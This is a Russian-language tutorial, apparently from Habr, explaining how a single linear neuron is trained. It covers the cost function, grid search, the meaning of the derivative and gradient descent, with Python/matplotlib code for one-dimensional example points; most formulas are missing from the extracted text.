*Здесь и дальше верхний индекс  в скобках будет обозначать -й элемент обучающей выборки  или истинное значение класса  или предсказанное значение класса  для него же.*
Можно сказать, что у такого нейрона функции активации просто нет и на вход квантизатора (порога) подается значение взвешенной суммы входов. Но для единообразия будет удобнее считать, что в качестве активации берется значение взвешенной суммы.
Порог (квантизатор) — предсказывает метку класса:
Если значение активации больше некоторого значения порога θ [тета], то квантизатор назначает объекту метку "1", если значение активации меньше порога θ, то объект получает метку "-1".
**Здесь мы можем сформулировать задачу в первом приближении**: нам нужно подобрать параметры нейрона
* весовые коэффициенты 
* и порог θ [тета]
так, чтобы значения классов , которые нейрон назначает объектам обучающей выборки, совпадали с истинными значениями классов  для этих же элементов (или, по крайней мере, давали правильное значение для большинства).
Немного преобразуем пороговую функцию, возьмем случай для класса  и перенесем порог в левую часть неравенства:
обозначим  и 
Как видим, нам удалось избавиться от отдельного параметра θ, внеся его под видом нового весового коэффициента  под знак суммы, добавив при этом к описанию объекта новый фиктивный единичный признак .
Скорректируем формулировку задачи с учетом новых обозначений.
**Задача'**: подобрать параметры нейрона — весовые коэффициенты ,
 (признак-константа) — *фиктивный* нейрон (*нейрон смещения*)
*Начиная с этого места нумеруем признаки и весовые коэффициенты c 0, а не с 1. Про вектор  будем говорить, как про (m+1)-мерный, а не m-мерный. Вектор  в зависимости от контекста можем считать (m+1)-мерным (по большей части в формулах), но при этом помнить, что на самом деле он m-мерный.*
Почему нейрон (*в нашем случае, правда, это не нейрон, а признак объекта или просто вход, но в случае многослойной сети он превращается в нейрон и обычно его именно так называют*) *фиктивный* — понятно уже сейчас. Почему он еще и *смещения* станет понятно позднее.
Активация с суммой будут выглядеть теперь так:
Порог теперь всегда 0 (ноль) (реальное значение переехало в параметр ):
**Еще раз сформулируем задачу другими словами (геометрический смысл задачи)**
Если мы внимательно посмотрим на формулу функции активации, то мы увидим, что она представляет собой параметрическую гиперплоскость в (m+1)-мерном пространстве, при этом в первых m измерениях она сосуществует вместе с точками элементов выборки, а (m+1)-е измерение — пространство значений функции, отдельное от элементов.
Теперь, если мы приравняем значение активации к нулю (значение порога), то это тоже будет гиперплоскость, только уже в m-мерном пространстве, т.е. полностью в пространстве значений элементов . Эта гиперплоскость будет разделять элементы  на две непересекающиеся группы.
Обычно в этом месте говорят, что наша задача — подобрать значения параметров , т.е. построить m-мерную гиперплоскость в пространстве элементов так, чтобы элементы обучающей выборки с истинным значением класса "1" оказались по одну сторону плоскости, а элементы с истинным классом "-1" — по другую.
Для тех, кто не совсем понял, что здесь написано, читайте дальше — сейчас мы все увидим, это во-первых. Во-вторых, мы так же увидим, что такая постановка задачи хотя и справедлива, но не совсем полна.
Одномерное пространство (m=1)
-----------------------------
Здесь начнет появляться код. Все графики строим с обычной библиотекой Matplotlib, но здесь я еще использую библиотеку Seaborn в одной строчке для настройки области графика, т.к. мне нравится, как у нее это получается, но в принципе можно обойтись и без нее.
```
# coding=utf-8
import matplotlib.pyplot as plt
import seaborn as sns
# симпатичная сетка на белом фоне
# (без нее русские подписи -> кракозябры)
sns.set(style='whitegrid', font_scale=1.8)
#sns.set(style='whitegrid')
# не будет работать, если включен seaborn
#plt.rcParams.update({'font.size': 16})
```
Берем множество 1-мерных точек и ответов к ним:
```
import numpy as np
import math
# точки - признаки (одно измерение)
X1 = np.array([1, 2, 6, 8, 10])
# метки классов (правильные ответы)
y = np.array([-1, -1, 1, 1, 1])
```
Здесь у нас каждый i-й элемент массива X1 — это i-й элемент (i-я точка) обучающей выборки (еще точнее — его 1-й и единственный признак): ![$x^{(i)}=(X1[i])$](https://habrastorage.org/getpro/habr/formulas/75d/b5a/9e3/75db5a9e3887ac22d9bbbee0febae9e4.svg), ![$x^{(i)}_1=X1[i]$](https://habrastorage.org/getpro/habr/formulas/85b/8c5/581/85b8c5581f60f8e0cbd6d20c735ebda7.svg)
Каждый i-й элемент массива y — правильный ответ, истинная метка, соответствующая i-му элементу обучающей выборки с единственным признаком X1[i].
Возьмем всего 5 точек, первые две отнесем к классу "-1", остальные три — к классу "1".
Нарисуем эти точки на линии:
```
# ось Ф=0
plt.plot(X1, np.zeros(len(X1)), color='black', lw=2)
# обучающие точки на оси Ф=0
plt.scatter(X1[y==1], np.full(len(X1[y==1]), 0), color='blue', marker='o', s=300,
label=u'объект x (1 признак): класс-1 (y=1)')
plt.scatter(X1[y==-1], np.full(len(X1[y==-1]), 0), color='red', marker='s', s=300,
label=u'объект x (1 признак): класс-2 (y=-1)')
plt.xlabel(u'X1 (единственный признак)')
plt.ylabel(u'Ф (активация)')
plt.legend(loc='upper left')
plt.show()
```
Теперь посмотрим на функцию активации:
Как видим, это обычная параметрическая прямая на плоскости (в 2-мерном, т.е. (m+1)-мерном пространстве):
* на горизонтальной оси у нас лежат точки элементов (они же — значения признака X1)
* на вертикальной — значения активации для каждого элемента
* параметр  — задает угол наклона,
* а  — сдвиг по вертикальной оси (вот и разгадка к *сдвиговому* нейрону).
```
w0 = -1.1
w1 = 0.4
# активация
y_ = w0 + w1*X1
# функция активации (вход для кванзистора - пороговой функции предсказания класса)
plt.plot(X1, y_, color='violet', lw=3,
label=u'активация: w0=%0.2f, w1=%0.2f, sse/2=%0.2f'% (w0, w1, sse/2))
# порог: пересечение активации с Ф=0
plt.scatter([-w0/w1], [0], color='violet', marker='o', s=300, label=u'порог активации')
# проекция обучающих точек на линию активации
plt.scatter(X1[y==1], y_[y==1], color='lightblue', marker='o', s=200,
label=u'активация: класс-1 (y=1)')
plt.scatter(X1[y==-1], y_[y==-1], color='pink', marker='s', s=200,
label=u'активация: класс-2 (y=-1)')
```
Вспомним еще, что после небольшого преобразования у нас порог активации обратился в ноль. Таким образом, если проекция i-го элемента на линию активации оказывается ниже нуля, мы назначаем элементу класс "-1" (), если выше нуля, назначаем элементу класс "1" ().
Фиолетовая точка — пересечение линии активации с осью , разделяющая элементы из разных классов, — это и есть та самая разделяющая гиперплоскость (для 1-мерного пространства точка — это гиперплоскость), построенная в 1-мерном (т.е. m-мерном) пространстве признаков. Как видим, для того, чтобы разделить элементы на группы, её достаточно, но для того, чтобы назначить группам классы — уже не достаточно. Для того, чтобы назначить элементам классы, нам нужна прямая (2-мерная гиперплоскость) активации, построенная в 2-д (т.е. в (m+1)-д) пространстве «признаки+активация»: направление отклонения активации от вертикальной оси будет определять класс для групп элементов, т.к. от этого зависит, окажутся ли проекции элементов на активацию выше или ниже нуля.
Меняя параметры  и  мы будем получать разные активационные линии. Нам нужно построить такую линию активации, т.е. найти такую комбинацию параметров , при которой проекция первых двух точек обучающей выборки на линию активации окажется ниже нуля (для них значение ), а проекция оставшихся 3-х точек окажется выше нуля (для них ).
Совершенно очевидно, что в нашем конкретном случае нет ничего сложного в том, чтобы построить такую линию, более того, таких линий вообще можно построить бесконечное количество. Но мы постараемся ее построить так, чтобы удовлетворялся некий критерий оптимальности (может влиять на качество будущих предсказаний), плюс должна быть возможность распространить алгоритм на многомерный случай.
Здесь так же отметим, что мы специально выбрали исходное множество точек так, чтобы его можно было такой линией разделить (для 1-д: все элементы первой группы меньше, все элементы второй группы больше некоторого фиксированного значения), т.е. множество обучающих точек *линейно разделимо*.
Добавим на график еще две горизонтальные линии, соответствующие классам {1, -1}, и спроецируем на них элементы.
```
# горизонтальные линии для меток классов (y=1, y=-1)
plt.plot(X1, np.full(len(X1), 1), color='blue', label=u'метка: класс-1 (y=1)')
plt.plot(X1, np.full(len(X1), -1), color='red', label=u'метка: класс-2 (y=-1)')
# обучающие точки на линиях меток классов (y=1, y=-1)
plt.scatter(X1[y==1], np.full(len(X1[y==1]), 1), color='lightblue', marker='o', s=200,
label=u'ответ y: класс-1 (y=1)')
plt.scatter(X1[y==-1], np.full(len(X1[y==-1]), -1), color='pink', marker='s', s=200,
label=u'ответ y: класс-2 (y=-1)')
```
Точки с классом "-1" проецируем на нижнюю линию , точки с классом "1" проецируем на верхнюю линию .
*Обратим здесь внимание на еще один небольшой нюанс. По вертикальной оси мы строим значения активации, пространство значений активации непрерывно. Но результат работы классификатора (функция активации, пропущенная через порог) — дискретное множество из двух элементов {-1, 1}, а не непрерывная шкала. Здесь мы берем дискретное множество классов  и накладываем его на непрерывную шкалу активации  так, что дискретные значения классов становятся обычными точками на шкале активации — частными случаями значений активации, которые она может непосредственно принимать или приближаться к ним достаточно близко. Строго говоря, мы могли бы изначально в качестве классов взять не числовые значения, а строковые метки "класс-1" и "класс-2", в таком случае мы бы должны были поставить в соответствие строковым меткам числовые значения на шкале активации. Поэтому и в нашем случае значения классов "-1" и "1" следует воспринимать скорее не как метки классов как есть, а как отображение помеченных классов на шкалу активации.*
### Пришло время ввести *метрику ошибки*
```
# линии ошибок - расстояния от точек на линии активации
# до горизонтальных линий меток классов
plt.plot([X1, X1], [y_, y], color='orange', lw=3)#, label='err')
```
Естественно принять, что чем ближе окажется значение активации для выбранного элемента к значению класса для этого же элемента, тем лучше активация предсказывает для этого элемента его класс. Таким образом, за ошибку для выбранного элемента можно принять расстояние между точками — вертикальной проекцией элемента на линию активации и проекцией элемента на горизонтальную линию его известного (истинного) класса. На графике: ошибки — вертикальные оранжевые линии.
### Функция стоимости (потерь)
У нас есть метрика ошибки для каждого отдельного элемента. Мы можем получить из нее метрику качества для всей линии активации. Вполне естественно принять, например, что чем меньше сумма ошибок всех элементов обучающей выборки, тем лучше у нас построена линия активации. Для каждого отдельного элемента ошибка будет не минимальной, но для всей обучающей выборки в целом можно получить некий компромисс.
Но можно взять не простую сумму ошибок, а сумму ошибок, возведенных в квадрат (*сумма квадратичных ошибок, sum of squared errors, SSE*). Вполне очевидно, что, как и в случае с суммой обычных ошибок, чем ближе линия активации находится к точкам с истинными классами элементов, тем меньше будет и сумма квадратичных ошибок, но в случае с квадратичной ошибкой наиболее удаленные элементы будут получать более серьезный штраф.
*На самом деле нас здесь больше интересует не размер штрафа за дальние элементы, а тот факт, что квадратичная функция имеет минимум и при этом везде дифференцируема (у обычной суммы будет минимум, но в этом минимуме она не будет дифференцируема), зачем это нужно, увидим чуть потом.*
Итак:
* Ошибка — расстояние от значения метки класса до гиперплоскости активации
* SSE — сумма квадратичных ошибок всех элементов обучающей выборки
* Функция стоимости  — метрика качества для выбранной линии активации. Чем меньше значение стоимости, тем лучше активация.
Возьмем в качестве функции стоимости  SSE, в общем случае и для линейного нейрона она будет выглядеть так:
*( перед SSE, во-первых, не мешает, во-вторых, для удобства — она дальше красиво сократится)*
Здесь  — номер элемента, а  — количество элементов в обучающей выборке. Напомню, что  — истинный класс -го элемента обучающей выборки, т.е. заранее известный правильный ответ.
Как мы помним, положение линии активации определяют параметры — весовые коэффициенты , поэтому вектор  выступает в качестве параметра функции потерь.
#### Для 1-мерного случая
Значения  и  заранее известны (это обучающая выборка), поэтому фиксированы. Мы подбираем параметры , т.е.  и  так, чтобы значение  получилось минимальным. Попробуем построить график, на котором будет видно, как значение  зависит от параметров  и 
```
# наиболее удачный по наглядности диапазон
w0 = np.linspace(-10, 10, 200)
w1 = np.linspace(-1, 1, 200)
# https://docs.scipy.org/doc/numpy/reference/generated/numpy.meshgrid.html
# https://stackoverflow.com/questions/36060933/matplotlib-plot-a-plane-and-points-in-3d-simultaneously
ww0, ww1 = np.meshgrid(w0, w1)
sse = []
for j in range(len(w1)):
sse.append([])
for i in range(len(w0)):
sse[j].append(((ww0[j][i]+ww1[j][i]*X1 - y)**2).sum())
sse = np.array(sse)
# https://matplotlib.org/mpl_toolkits/mplot3d/tutorial.html
# https://matplotlib.org/api/toolkits/mplot3d.html
from mpl_toolkits.mplot3d import axes3d
fig = plt.figure()
ax = fig.add_subplot(111, projection='3d')
ax.set_xlabel('w0')
ax.set_ylabel('w1')
ax.set_zlabel('J(w)')
#ax.plot_surface(ww0, ww1, sse/2, color='lightblue', rstride=8, cstride=8)
ax.plot_wireframe(ww0, ww1, sse/2, color='lightblue', rstride=8, cstride=8,
label='SSE/2')
plt.xlim(-10., 10.)
plt.ylim(-1., 1.)
plt.legend()
plt.show()
```
В общем, здесь уже видно, что у функции потерь есть минимум, и где он примерно находится. Но давайте сделаем еще один фокус и построим тот же график, только с [логарифмической вертикальной шкалой](https://ru.wikipedia.org/wiki/%D0%9B%D0%BE%D0%B3%D0%B0%D1%80%D0%B8%D1%84%D0%BC%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D0%BC%D0%B0%D1%81%D1%88%D1%82%D0%B0%D0%B1).
```
#ax.plot_surface(ww0, ww1, np.log(sse/2), color='lightblue', rstride=8, cstride=8)
ax.plot_wireframe(ww0, ww1, np.log(sse/2), color='lightblue', rstride=8, cstride=8,
label='log(SSE/2)')
```
Не знаю, как вы, а лично я, когда увидел этот график в первый раз, испытал просветление. Эта натуральная впадина — не просто образная визуализация многомерных холмов из популярной статьи о нейронных сетях, это реальный график.
Наша задача — подобрать такие значения  и , чтобы попасть на дно этой ямы. Получим значения весовых коэффициентов — получим обученный нейрон.
Раз уж мы все равно построили график и воочию наблюдаем его минимум, никто нам не запретит найти его координаты простым перебором на сетке "вручную":
```
# найдем минимальное значение на сетке
# https://docs.scipy.org/doc/numpy/reference/generated/numpy.ndarray.min.html
# https://docs.scipy.org/doc/numpy/reference/generated/numpy.amin.html#numpy.amin
# https://docs.scipy.org/doc/numpy/reference/generated/numpy.argmin.html
min_ind = np.unravel_index(np.argmin(sse), sse.shape)
# точка - минимум
#ax.scatter(ww0[min_ind], ww1[min_ind], sse[min_ind]/2, color='red', marker='o', s=100,
ax.scatter(ww0[min_ind], ww1[min_ind], math.log(sse[min_ind]/2),
color='red', marker='o', s=100,
label='min: w0=%0.2f, w1=%0.2f, SSE/2=%0.2f' % (ww0[min_ind], ww1[min_ind], sse[min_ind]/2))
```
Это значения:  и , сумма квадратичных ошибок SSE при этом 0.69, функция стоимости  (более точно: 0.3456478371758288).
Посмотрим, как с этими параметрами выглядит активация:
```
# оптимум "вручную" по сетке (SSE=0.69, sse/2=0.345)
w0 = -1.26
w1 = 0.27
```
Как по мне, вполне норм. Точка пересечения активации с нулевым порогом разделяет элементы из разных классов, а сама активация назначает им правильные значения. При этом активация, похоже, находится в некотором оптимальном положении.
Перед тем, как двигаться дальше, еще раз полюбуемся на график на сетке пошире:
Похоже, что никаких других минимумов поблизости нет, кто бы мог подумать.
Поиск минимума
--------------
Итак, мы получили весовые коэффициенты — координаты минимального значения ошибки. Это будет оптимальное значение весовых коэффициентов на обучающей выборке. Вообще говоря, именно это нам и нужно, можно сказать, что нейрон обучен. Может на этом можно и завершить?
### Поиск минимума: перебор по сетке
* Вариант на первый взгляд вполне рабочий (как видим)
* Нужно заранее знать область, где искать минимум (можно взять достаточно большие границы, затем сужать область поиска — это только на глаз)
* Для повышения точности нужно уменьшать шаг → еще больше точек (решение: можно итеративно сужать область поиска)
* Слишком много точек (для 2д может и ок, но для многомерных случаев очень быстро упремся в ресурсы)
* Для MNIST (28x28=784 пикселей — столько же входов, весовых коэффициентов столько же плюс смещение, сетка 100 шагов на размерность): 100^785=10^1570.
Значит, если мы захотим обучить один-единственный нейрон (даже не нейросетку) на изображении 28x28=784 пикселей методом поиска минимума прямым перебором на сетке в 100 точек на каждое измерение, нам нужно перебрать 10^1570 комбинаций. Это довольно много и для хранения, и для перебора (в видимой части Вселенной всего 10^80 атомов, Вселенная существует примерно 4\*10^17 секунд = 4\*10^26 наносекунд).
Попробуем найти вариант побыстрее.
### Поиск минимума: спуск с постоянным шагом
Посмотрим на график функции потерь  на плоскости: фиксируем , меняем 
```
def sse_(X, y, w0, w1):
return ((w0+w1*X - y)**2).sum()
# фиксируем w0, строим график J(w1)=sse(w1)/2
w1 = np.linspace(-1, 1, 200)
sse = [[], [], []]
for i in range(len(w1)):
sse[0].append(sse_(X1, y, -1, w1[i]))
sse[1].append(sse_(X1, y, 0, w1[i]))
sse[2].append(sse_(X1, y, 1, w1[i]))
sse = np.array(sse)
plt.plot(w1, sse[0]/2, color='orange', label='w0=-1')
plt.plot(w1, sse[1]/2, color='blue', label='w0=0')
plt.plot(w1, sse[2]/2, color='red', label='w0=1')
plt.xlabel('w1')
plt.ylabel('J(w)')
plt.legend()
plt.show()
```
Это обычная парабола (точнее, семейство парабол — они будут немного отличаться в зависимости от того, какое именно значение зафиксировали на ). Чтобы найти минимум параболы, не обязательно перебирать все точки. Мы можем выбрать произвольную точку на горизонтальной оси и двигаться в сторону минимума с некоторым шагом.
**Рассмотрим вариант с постоянным шагом**
* Если шаг слишком большой, можно промахнуться, так и не подступившись к минимуму (шаг можно уменьшить)
* Если слишком маленький, будет слишком много шагов (больше, чем могло бы быть)
* Точный минимум мы в любом случае не достигнем, но можем достигнуть с произвольной точностью, поменяв около найденного неточного минимума шаг (шаг перестает быть постоянным)
* Не знаем направление спуска (можно решить алгоритмически: не шагать в сторону увеличения ошибки)
* Проблема с поиском диапазона решена (можно спускаться из любой точки — рано или поздно все равно спустимся вниз)
* В принципе, вариант рабочий, но может есть вариант получше?
*Замечание: когда я рассказывал про такой вариант спуска на лекции, один студент спросил, зачем нужно двигаться по шагам, если можно сразу найти минимум параболы по формуле? Я сначала ответил что-то в духе, что нам сейчас интересно рассмотреть вариант с итерациями, чтобы потом иметь возможность применить его не только с параболой, но и в других ситуациях. Плюс к этому, на самом деле нам не нужен минимум параболы конкретно на этом срезе — мы будем двигаться к минимуму не по одному измерению, а по всем измерениям поочередно так, что на каждой новой итерации новый шаг будет проходить не по этой параболе, а на параболе с нового среза со сдвинутым значением . Но подумав позднее, я подумал, что в принципе нет ничего плохого, если мы на каждом срезе будем двигаться не шагами, а скатываться сразу к минимуму текущего среза. Так раз за разом измерение за измерением мы должны все равно скатиться к глобальному минимуму, и, похоже, быстрее, чем по шагам. Для единственного нейрона должно сработать, и не только с параболой. Но я пока не стал тратить время на проверку этой теории, поэтому здесь просто двинемся дальше — я обещал рассказать про градиентный спуск.*
### Поиск минимума: градиентный спуск
В общем так, спускаемся по шагам, но делаем это более умно. Используем для подбора шага производную кривой стоимости (здесь не *кривая стоимость*, а *кривая стоимости*).
* У нас несколько измерений и в каждом из них своя кривая: фиксируем все , кроме ,
*  будет кривая ошибки в -ом измерении
* Все они — (в нашем случае) параболы, но, вообще говоря, важно только то, что они везде дифференцируемы и имеют минимум
* Для регулировки шага в каждом измерении будем использовать частную производную функции ошибки по этому измерению (изменяющемуся коэффициенту ).
* Вектор из таких частных производных называется *градиент*
Это всё хорошо, но причем здесь производная? Сейчас разберемся.
Геометрический смысл производной
--------------------------------
Для меня производная долгое время оставалась набором специальных формул и правил для ее вычисления, плюс что-то про возрастание, убывание и экстремумы. Здесь будет уместно вспомнить или выяснить, что из себя представляет производная на самом деле.
Производная функции  в данной точке  — это предел отношения приращения функции  к приращению аргумента  при приращении аргумента , стремящемся к нулю:
На картинке точка  — точка, в которой мы хотим определить производную. Точка  — точка, получаемая приращением аргумента . Прямая  — секущая, проходящая через эти две точки.
Точка  — пересечение секущей  с горизонтальной осью .
Рассмотрим два прямоугольных треугольника: треугольник  с участком секущей  в качестве гипотенузы и треугольник  с продолжением секущей до оси  — отрезком  в качестве гипотенузы. Из графика и школьного курса геометрии очевидно, что углы  и  равны, а значит равны и их тангенсы:
Добавим на картинку:  — *касательная* к исходной кривой в точке , пересекает ось  в точке . Треугольник  — прямоугольный треугольник с гипотенузой — участком касетельной, отрезком .
Устремляем приращение  к нулю:
Точка  съезжает в точку  по функции, точка  ползет в точку  по оси , секущая  превращается в касательную  с точкой касания . Исходный треугольник  с катетами  и  сжимается в точку, но подобный ему треугольник  превращается в треугольник , сохраняя не только макроскопические габариты, но и равенство углов  и .
Как приращение , бесконечно приближаясь к нулю, никогда не достигнет нуля, так и точка  никогда не встанет на точное место , точка  не достигнет точки , треугольник  не превратится в . К счастью, мы можем зафиксировать точный пункт назначения для всех этих движений, используя волшебный математический оператор «предел» .
Предел превращения треугольника  — в точности треугольник , получаем:
Короче:
Вспоминая определение производной, как мы ее ввели, получаем:
И видим, что производная функции в данной точке равна тангенсу угла между касательной к исходной кривой в данной точке и горизонтальной осью координат . В этом и заключается её геометрический смысл.
Строго говоря, не совсем корректно говорить, что секущая стремится занять положение некоторой заранее известной *касательной*, которую мы, кстати сказать, добавили на картинку без предварительного определения. Более корректно говорить, что *предельное положение секущей* при приращении аргумента, стремящемся к нулю, мы будем называть *касательной*, т.е. мы понятие касательной выводим из определения производной (если вы посмотрите на универсальную формулу касательной, то увидите, что она задается через производную). Но сути дела это не меняет: производная численно равна тангенсу, тангенс характеризует наклон (кстати, в английском языке касательная — это *tangent line*, *может быть интересно разобраться, кто от кого происходит — касательная от тангенса или тангенс от касательной*).
В итоге отметим интересные нам свойства производной:
* Производная функции в точке  равна тангенсу угла между касательной к исходной кривой в этой точке и горизонтальной осью 
* По модулю — это отношение координаты точки  по вертикальной оси к длине горизонтального отрезка — расстоянию между точкой  на оси  и точкой пересечения касательной и оси 
* Чем «круче» исходная кривая, тем вертикальное расстояние больше горизонтального, тем больше абсолютное значение тангенса и производной
* Знак производной — направление спуска: слева направо — минус, справа налево — плюс
* (чтобы понять, откуда он берется, посмотрите, как в том и другом случае получается )
Вот, например, наш случай с параболой:
Оранжевая линия — исходная функция, красная линия — касательная к исходной функции в точке , синяя линия — это производная исходной функции в каждой из точек. Две зеленые линии — катеты прямоугольного треугольника с гипотенузой — касательной. Отношение вертикальной зеленой линии к горизонтальной — тангенс острого угла между касательной и горизонтальной осью , оно же — абсолютное значение производной в этой точке.
Как видим, чем ближе минимум исходной функции, тем более пологий спуск, тем меньше вертикальная зеленая линия по сравнению с горизонтальной, тем меньше абсолютное значение производной. В правой части графика (спуск справа налево, функция возрастает) производная везде больше нуля (геометрически: угол между касательной и осью  острый, тангенс острого угла *больше нуля*).
Спуск слева направо (исходная функция убывает): все то же самое, только со знаком минус (геометрически: угол между касательной и осью  тупой, тангенс тупого угла *меньше нуля*).
Значит, подытожим: у нас есть универсальный вычислимый индикатор (метрика), который показывает как «крутизну»/«пологость» спуска, так и его направление в каждой из точек. Этот индикатор — производная функции в каждой точке. И, раз у нас есть такой индикатор, почему бы нам не использовать его для вычисления динамического шага при спуске к минимуму данной функции? Ровно это мы сейчас и сделаем.
Частная производная по вектору
------------------------------
Возвращаемся к нашей функции ошибки . Мы уже видели, что, хотя она у нас является многомерной, в каждом из измерений ее можно порезать на параболы.
* Выбираем -й элемент вектора
* Считаем, что он изменяется
* Берем по нему производную
* При этом остальные элементы считаем константами
* Такая производная по выбранному элементу вектора называется *частной производной*
Кого испугали эти четыре строчки формул, не бойтесь: здесь производная суммы равна сумме производных, производная степенной функции, производная сложной функции, производная константы (равна нулю) и другие правила взятия производной из школьной программы. Все элементы, рядом с которыми нет множителя  (обратите внимание, он может прятаться внутри общей суммы), берутся за константы. И еще, кстати, обратите внимание, наша  перед SSE сократилась именно здесь.
Получили в общем виде:
И вот наш ***градиент*** — вектор из частных производных (обозначается символом  [набла], перевернутым треугольником, т.е. перевернутой [дельтой]):
Определяем правило шага:
Оно же для -го измерения:
Здесь обратим внимание на:
* минус перед градиентом
* коэффициент  [эта] — *коэффициент обучения*, некоторая константа
Те из вас, кто не пропустил часть с геометрическим смыслом производной, скорее всего уже поняли, зачем они здесь нужны. В любом случае, и то и другое подробно разберем ниже.
Наш 1-мерный случай:
--------------------
Частные производные (элементы градиента):
Шаги по каждому из измерений:
Между прочим, у нас уже все готово для спуска. Давайте построим графики и спустимся по одному из измерений.
Разбор спуска по одному ($w_1$) из измерений
============================================
Фиксируем , спускаемся к минимуму 
Сумма квадратичных ошибок для элементов обучающей выборки  с правильными ответами (истинными классами)  при выбранных коэффициентах  и  (будем дальше ссылаться на эту функцию):
```
def sse_(X, y, w0, w1):
return ((w0+w1*X - y)**2).sum()
```
Посчитаем ошибки на отрезке  от -1.5 до 1.5.
```
# наиболее удачный по наглядности вариант
w0 = 1
w1 = np.linspace(-1.5, 1.5, 200)
# должен быть способ сделать то же самое без цикла с матричной операцией через numpy.dot
# https://docs.scipy.org/doc/numpy/reference/generated/numpy.dot.html
# но здесь так нагляднее, так что ок и так
sse = []
for i in range(len(w1)):
sse.append(sse_(X1, y, w0, w1[i]))
sse = np.array(sse)
```
Построим график функции стоимости и заодно отметим первую точку, из которой будем спускаться (вообще говоря, она может быть любая, в том числе случайная):
```
plt.subplot(3,1,1)
# sse
plt.plot(w1, sse/2, color='red', label='w0=1')
# спуск - первая точка
w1_first = .9
plt.scatter(w1_first, sse_(X1, y, w0, w1_first)/2, color='blue', marker='o', s=100)
plt.xlim(-1.2, 1.2)
plt.xlabel(u'w1')
plt.ylabel(u'J(w1, w0=1)')
plt.legend(loc='lower left')
```
Градиент, а точнее, частная производная  — элемент градиента:
```
grad_w1 = []
for i in range(len(w1)):
grad = ((w0 + w1[i]*X1 - y)*X1).sum()
grad_w1.append(grad)
plt.subplot(3,1,3)
plt.plot(w1, grad_w1, label=u'градиент ∂J(w)/∂w1')
plt.xlim(-1.2, 1.2)
plt.xlabel(u'w1')
plt.ylabel(u'∂J(w)/∂w1')
plt.legend(loc='upper left')
```
Шаги спуска  (да, здесь размер шага  зависит от текущего значения , т.е. шаг зависит от того, из какой точки мы шагаем):
```
eta = 0.001
delta_w1 = []
for i in range(len(w1)):
grad = ((w0 + w1[i]*X1 - y)*X1).sum()
delta = -eta*grad
delta_w1.append(delta)
plt.subplot(3,1,2)
plt.plot(w1, delta_w1,
color='orange', label=u'Δw1, η=%s'%eta)
plt.xlim(-1.2, 1.2)
plt.xlabel(u'w1')
plt.ylabel(u'Δw1=-η*∂J(w)/∂w1')
plt.legend(loc='upper right')
```
Все вместе
```
plt.show()
```
Здесь видим
* Наверху: график выпуклой функции, имеется глобальный минимум
* Внизу: частная производная — показывает степень «крутизны» функции наверху (чем больше производная, тем «круче» функция), знак определяет направление
* Посередине: шаг для спуска — частная производная со знаком минус (чтобы спускаться в сторону минимума), помноженная на коэффициент  [эта] (он же *коэффициент обучения*), определяющий размер шага
Обратите внимание на масштаб по вертикальным осям на двух нижних графиках: экранные размеры у них одинаковые, но абсолютные значения отличаются в 1000 раз.
**Ну давайте уже, наконец, спускаться**
Исходные веса  — обычно это какие-то случайные не очень большие значения или какие-то константы. Мы договорились взять , а исходную точку спуска . Здесь же выберем коэффициент обучения  и количество итераций (количество шагов, количество *эпох обучения*) пусть будет 12:
```
# норм спуск за 12-14 эпох
eta = 0.001
epochs = 12
```
Посчитаем значения шагов и значения ошибок на каждом новом шаге:
```
# спуск по точкам по градиенту
w1_epochs = [w1_first]
delta_w1_epochs = []
w1_next = w1_first
for i in range(epochs):
grad = ((w0 + w1_next*X1 - y)*X1).sum()
delta = -eta*grad
w1_next = w1_next + delta
delta_w1_epochs.append(delta)
w1_epochs.append(w1_next)
# последняя дельта - 0
delta_w1_epochs.append(0)
w1_epochs = np.array(w1_epochs)
delta_w1_epochs = np.array(delta_w1_epochs)
# квадратичные ошибки по эпохам
sse_epochs = []
for i in range(len(w1_epochs)):
sse_epochs.append(sse_(X1, y, w0, w1_epochs[i]))
sse_epochs = np.array(sse_epochs)
```
Обозначим точки спуска с длинами шагов по  на графике :
```
# размер точек на графике - уменьшается от первой эпохи к последней
size_epochs = [10 + (250-100)*epoch/epochs for epoch in reversed(range(epochs+1))]
plt.scatter(w1_epochs, sse_epochs/2, color='blue', marker='o', s=size_epochs,
label=u'спуск по градиенту, η=%s'%eta)
# длины шагов по w1
plt.plot([w1_epochs, w1_epochs+delta_w1_epochs], [sse_epochs/2, sse_epochs/2],
color='orange')#, label='Δw1')
```
И те же точки спуска с длинами шагов на графике 
```
plt.scatter(w1_epochs, delta_w1_epochs, color='blue',
marker='o', s=size_epochs,
label=u'спуск по градиенту, η=%s'%eta)
plt.plot([w1_epochs, w1_epochs],
[delta_w1_epochs, np.zeros(len(delta_w1_epochs))],
color='orange')
```
Да, это он, спуск по градиенту (по одному из его измерений), *градиентный спуск*. В этом месте можно тоже испытать просветление, не такое сильное, как первое, конечно.
Процедура спуска: для текущей точки на верхнем графике смотрим длину и направление шага на среднем графике, на верхнем графике откладываем шаг из текущей точки, движемся по линии шага на верхнем графике, «падаем» с нее на график, место падения — новая отправная точка, повторяем процедуру.
* На всех графиках горизонтальная ось — параметр  на одном и том же отрезке, вертикальные оси — разные
* Движемся справа налево, от самой большой точки  к самой маленькой
* Размер шага и направление — оранжевые отрезки на графике: на верхнем графике горизонтальные, на среднем — вертикальные
* Длина вертикального отрезка на среднем графике равна длине соответствующего горизонтального отрезка на верхнем графике, но на экране они могут не совпадать — обратите внимание на масштабы по осям
* На среднем графике отрезки с шагами, расположенные ниже нуля (правая половина), дают отрицательный шаг справа налево, выше нуля (левая половина) — положительный шаг слева направо, пересечение с нулем — строгий минимум функции ошибки
* (говоря проще и строже, здесь шаг — это просто значение вертикальной координаты на среднем графике).
* Знак перед шагом на среднем графике полностью соответствует направлению спуска на верхнем графике: в правой половине графика мы спускаемся справа налево — шаг отрицательный, в левой половине графика мы спускаемся слева направо — шаг положительный
* Откуда мы его берем? Из нижнего графика производной — она попадает на средний график со знаком минус. Вспоминаем про геометрический смысл производной.
